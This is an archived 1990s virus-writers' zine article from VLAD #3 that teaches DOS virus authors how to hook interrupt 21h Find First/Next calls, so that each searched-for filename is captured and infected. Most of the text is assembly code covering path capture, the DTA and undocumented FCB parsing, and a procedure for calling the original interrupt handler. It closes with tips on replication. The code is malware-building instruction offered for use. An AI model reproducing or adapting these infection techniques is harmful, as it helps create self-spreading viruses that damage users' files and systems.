home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.2_5 < prev    next >
Encoding:
Text File  |  1995-01-18  |  13.6 KB  |  354 lines

  1.  
  2.        F I N D   F I R S T / N E X T   I N F E C T I O N
  3.             "Aggressive replication"
  4.                    Written by
  5.                   Darkman/VLAD
  6.  
  7.  
  8. ----------------------------------------------------------------
  9. How to get the filename from Find First/Next Matching File (DTA)
  10. ----------------------------------------------------------------
  11.  
  12. The below steps must be followed to get the filename from DTA:
  13.  
  14.   1. If Find First Matching File (4Eh), then get the path and then...
  15.   2. Call original interrupt 21h.
  16.   3. Get the Disk Transfer Address (DTA).
  17.   4. Get the filename.
  18.   5. RETurn from interrupt 21h.
  19.  
  20. ----------------------------------------------------------------
  21. If Find First Matching File (4Eh), then get the path and then...
  22. ----------------------------------------------------------------
  23.  
  24.   The below code shows an example of how get the path of the filename:
  25.  
  26. ;------------------------------------------------------------=< cut here >=-
  27.          lea     di,filename         ; DI = offset of filename
  28.          mov     si,dx
  29.          push    cs                  ; Save CS at stack
  30.          pop     es                  ; Load ES from stack (CS)
  31.          mov     filenameoff,di      ; Store offset of filename
  32. movepathdta:
  33.          lodsb                       ; Load a byte of path
  34.          or      al,al               ; End of path?
  35.          je      pathdtaexit         ; Equal? Jump to pathdtaexit
  36.          stosb                       ; Store a byte of path
  37.  
  38.          cmp     al,':'              ; Possible end of path?
  39.          je      setnameoff          ; Equal? Jump to setnameoff
  40.          cmp     al,'\'              ; Possible end of path?
  41.          jne     movepathdta         ; Not equal? Jump to movepathdta
  42. setnameoff:
  43.          mov     filenameoff,di      ; Store offset of filename
  44.          jmp     movepathdta
  45. pathdtaexit:
  46. ;------------------------------------------------------------=< cut here >=-
  47.  
  48.   This code presumes that a variable of 76 bytes called filename and a
  49. variable of a word called filenameoff exists. Remember to PUSH and POP the
  50. used registers before and after the code.
  51.  
  52. ---------------------------
  53. Call original interrupt 21h
  54. ---------------------------
  55.  
  56.   The below code shows an example of how to call the original interrupt 21h:
  57.  
  58. ;------------------------------------------------------------=< cut here >=-
  59.          call    simint21            ; Do it!
  60. ;------------------------------------------------------------=< cut here >=-
  61.  
  62.   This code presumes a procedure called simint21 exists. Remember to POP and
  63. PUSH the used registers before and after the code.
  64.  
  65. -----------------------------------
  66. Get the Disk Transfer Address (DTA)
  67. -----------------------------------
  68.  
  69.   The below code shows an example of how to get the Disk Transfer Area (DTA):
  70.  
  71. ;------------------------------------------------------------=< cut here >=-
  72.          mov     ah,2fh              ; Get Disk Transfer Address (DTA)
  73.          int     21h                 ; Do it!
  74. ;------------------------------------------------------------=< cut here >=-
  75.  
  76. ----------------
  77. Get the filename
  78. ----------------
  79.  
  80.   The below code shows an example of how to get the filename:
  81.  
  82. ;------------------------------------------------------------=< cut here >=-
  83.          mov     di,filenameoff      ; DI = offset of filename
  84.          mov     si,bx
  85.          add     si,1eh              ; SI = offset of filename (DTA)
  86.          push    es                  ; Save ES at stack
  87.          pop     ds                  ; Load DS from stack (ES)
  88.          push    cs                  ; Save CS at stack
  89.          pop     es                  ; Load ES from stack (CS)
  90. movenamedta:
  91.          lodsb                       ; Load a byte of filename (DTA)
  92.          stosb                       ; Store a byte of filename
  93.          or      al,al               ; End of filename?
  94.          jne     movenamedta         ; Not equal? Jump to movenamedta
  95. ;------------------------------------------------------------=< cut here >=-
  96.  
  97.   This code presumes that a variable of a word called filenameoff exists. The
  98. filename with full path is in the 76 bytes variable called filename and ready
  99. to be infected.
  100.  
  101. -------------------------
  102. RETurn from interrupt 21h
  103. -------------------------
  104.  
  105.   The below code shows an example of how to return from interrupt 21h:
  106.  
  107. ;------------------------------------------------------------=< cut here >=-
  108.          retf    02h                 ; Return far and pop a word!
  109. ;------------------------------------------------------------=< cut here >=-
  110.  
  111.   Remember to POP the used registers before this code.
  112.  
  113. ----------------------------------------------------------------
  114. How to get the filename from Find First/Next Matching File (FCB)
  115. ----------------------------------------------------------------
  116.  
  117. The below steps must be followed to get the filename from DTA:
  118.  
  119.   1. Check if the path is shown. If it is, get the path and then...
  120.   2. Call original interrupt 21h.
  121.   3. Check if the FCB is extended. If it is, move the offset.
  122.   4. Get the filename.
  123.   5. Get the extension.
  124.   6. Create a ASCIIZ filename.
  125.   7. RETurn from interrupt 21h.
  126.  
  127. --------------------------------------------------------------
  128. Check if the path is shown. If it is, get the path and then...
  129. --------------------------------------------------------------
  130.  
  131.   The below code shows an example of how to check if the path is shown and if
  132. it is, how to get the path:
  133.  
  134. ;------------------------------------------------------------=< cut here >=-
  135.          mov     si,dx
  136.          add     si,0a4cfh           ; SI = offset of FCB
  137.          cmp     byte ptr [si+01h],':'
  138.          jne     realfcb             ; Not equal? Jump to realfcb
  139.  
  140.          lea     di,filename         ; DI = offset of filename
  141.          push    cs                  ; Save CS at stack
  142.          pop     es                  ; Load ES from stack (CS)
  143. movepathfcb:
  144.          lodsb                       ; Load a byte of path
  145.          or      al,al               ; End of path?
  146.          je      pathfcbexit         ; Equal? Jump to pathfcbexit
  147.          stosb                       ; Store a byte of path
  148.          jmp     movepathfcb
  149. pathfcbexit:
  150.          mov     al,'\'
  151.          stosb                       ; Store the last byte of the path
  152.          mov     filenameoff,di      ; Store offset of filename
  153. ;------------------------------------------------------------=< cut here >=-
  154.  
  155.   This code presumes that a variable of 76 bytes called filename and a
  156. variable of a word called filenameoff exists. Remember to PUSH and POP the
  157. used registers before and after the code.
  158.  
  159. ---------------------------
  160. Call original interrupt 21h
  161. ---------------------------
  162.  
  163.   The below code shows an example of how to call the original interrupt 21h:
  164.  
  165. ;------------------------------------------------------------=< cut here >=-
  166.          call    simint21            ; Do it!
  167. ;------------------------------------------------------------=< cut here >=-
  168.  
  169.   This code presumes a procedure called simint21 exists. Remember to POP and
  170. PUSH the used registers before and after the code.
  171.  
  172. -------------------------------------------------------
  173. Check if the FCB is extended. If it is, move the offset
  174. -------------------------------------------------------
  175.  
  176.   The below code shows an example of how to check if the FCB is extended and
  177. if it is, how to move the offset:
  178.  
  179. ;------------------------------------------------------------=< cut here >=-
  180.          cld                         ; Clear direction flag
  181.  
  182.          add     dx,0a4cfh           ; DX = offset of FCB
  183.          mov     si,dx
  184.          lodsb                       ; Load a byte of FCB
  185.          dec     si                  ; Decrease SI
  186.  
  187.          cmp     al,0ffh             ; Extended FCB ID
  188.          jne     initmovefcb         ; Not equal? Jump to initmovefcb
  189.          add     si,07h              ; SI = offset of extended FCB
  190. initmovefcb:
  191. ;------------------------------------------------------------=< cut here >=-
  192.  
  193. ----------------
  194. Get the filename
  195. ----------------
  196.  
  197.   The below code shows an example of how to get the filename:
  198.  
  199. ;------------------------------------------------------------=< cut here >=-
  200.          mov     cx,08h              ; Move 8 bytes
  201.          mov     di,filenameoff      ; DI = offset of filename
  202.          inc     si                  ; SI = offset of filename (FCB)
  203.          push    cs                  ; Save CS at stack
  204.          pop     es                  ; Load ES from stack (CS)
  205. movenamefcb:
  206.          lodsb                       ; Load a byte of filename (FCB)
  207.          cmp     al,' '              ; End of filename?
  208.          je      createext           ; Equal? Jump to createext
  209.          stosb                       ; Store a byte of filename
  210.          loop    movenamefcb
  211.          inc     si                  ; Increase SI
  212. createext:
  213. ;------------------------------------------------------------=< cut here >=-
  214.  
  215.   This code presumes that a variable of 76 bytes called filename and a
  216. variable of a word called filenameoff exists.
  217.  
  218. -----------------
  219. Get the extension
  220. -----------------
  221.  
  222.   The below code shows an example of how to get the extension:
  223.  
  224. ;------------------------------------------------------------=< cut here >=-
  225.          mov     al,'.'
  226.          dec     si                  ; Decrease SI
  227.          add     si,cx               ; SI = offset of extension (FCB)
  228.          stosb                       ; Create .COM extension
  229.          movsw                       ; Move extension
  230.          movsb                       ;  "       "
  231. ;------------------------------------------------------------=< cut here >=-
  232.  
  233. -------------------------
  234. Create an ASCIIZ filename
  235. -------------------------
  236.  
  237.   The below code shows an example of how to create an ASCIIZ filename:
  238.  
  239. ;------------------------------------------------------------=< cut here >=-
  240.          xor     al,al               ; Clear AL
  241.          stosb                       ; Create an ASCIIZ filename
  242. ;------------------------------------------------------------=< cut here >=-
  243.  
  244.   The filename with full path is in the 76 bytes variable called filename and
  245. ready to be infected.
  246.  
  247. -------------------------
  248. RETurn from interrupt 21h
  249. -------------------------
  250.  
  251.   The below code shows an example of how to return from interrupt 21h:
  252.  
  253. ;------------------------------------------------------------=< cut here >=-
  254.          retf    02h                 ; Return far and pop a word!
  255. ;------------------------------------------------------------=< cut here >=-
  256.  
  257.   Remember to POP the used registers before this code.
  258.  
  259. -------------------------------------
  260. Disk Transfer Address (DTA) structure
  261. -------------------------------------
  262.  
  263.   The above Find First/Next Matching File (DTA) infector is using the normal
  264. DTA. This is the DTA structure:
  265.  
  266.            -----------------------------------------
  267.            Offset Length Field
  268.            -----------------------------------------
  269.          00     01   Drive letter
  270.         01-0B   0B   Search template
  271.         0C-14   09   Reserved
  272.          15     01   File attribute
  273.         16-17   02   File time
  274.         18-19   02   File date
  275.         1A-1D   04   File size
  276.         1E-3A   0D   ASCIIZ filename + extension
  277.            -----------------------------------------
  278.  
  279. ----------------------------------
  280. File Control Block (FCB) structure
  281. ----------------------------------
  282.  
  283.   The above Find First/Next Matching File (FCB) infector does not use the
  284. usual File Control Block (FCB), but a undocumented FCB. This FCB is placed
  285. 42191 bytes above the opened FCB. This is FCB structure:
  286.  
  287.                --------------------------
  288.                Offset Length Field
  289.                --------------------------
  290.              00     01   Drive code
  291.             01-08   08   Filename
  292.             09-0B   03   Extension
  293.             0C-16   0B   Undocumented
  294.             17-18   02   File time
  295.             19-1A   02   File date
  296.             1B-1C   02   Undocumented
  297.             1D-20   04   File size
  298.                --------------------------
  299.  
  300.   This FCB is not the same as the usual FCB.
  301.  
  302.   If the FCB is extended; then the first fields of the structure will look
  303. like this:
  304.  
  305.              -----------------------------
  306.              Offset Length Field
  307.              -----------------------------
  308.                00     01   Extended FCB ID
  309.               01-05   05   Reserved
  310.                06     01   File attribute
  311.              -----------------------------
  312.  
  313.   Then the normal FCB will begin after the extended FCB at offset 07.
  314.  
  315. ----------------------------------------------------
  316. Necessary labels, variables and code to the examples
  317. ----------------------------------------------------
  318.  
  319.   The above examples presumes that a variable of 76 bytes called filename
  320. exists. This variable holds the filename with full path of the FCB/DTA
  321. filename. It should look like this:
  322.  
  323. filename     db      4ch dup(?)          ; DTA/FCB filename
  324.  
  325.   The above examples presumes that a variable of a word called filenameoff
  326. exists. This variable holds the offset of the filename, which is placed after
  327. the path. It should look like this:
  328.  
  329. filenameoff  dw      ?                   ; Offset of DTA/FCB filename
  330.  
  331.   The above examples presumes that a procedure called simint21 exists. This
  332. procedure will call the original interrupt 21h. This is done because we have
  333. intercepted interrupt 21h. It should look like this:
  334.  
  335. simint21     proc    near                ; Simulate interrupt 21h
  336.          pushf                       ; Save flags at stack
  337. callfar      db      9ah                 ; Object code of a far call
  338. int21adr     dd      0                   ; Address of interrupt 21h
  339.          ret                         ; Return!
  340.          endp
  341.  
  342.   However the address of the original interrupt should be placed in the
  343. variable with the name int21adr.
  344.  
  345. ---------------------
  346. Final tips and tricks
  347. ---------------------
  348.  
  349. - The mentioned variables do not have to be in the code, just in the memory.
  350. - If you replicate both ways then don't return twice, just jump to a return.
  351. - Remember to optimize your code.
  352.  
  353.  
  354.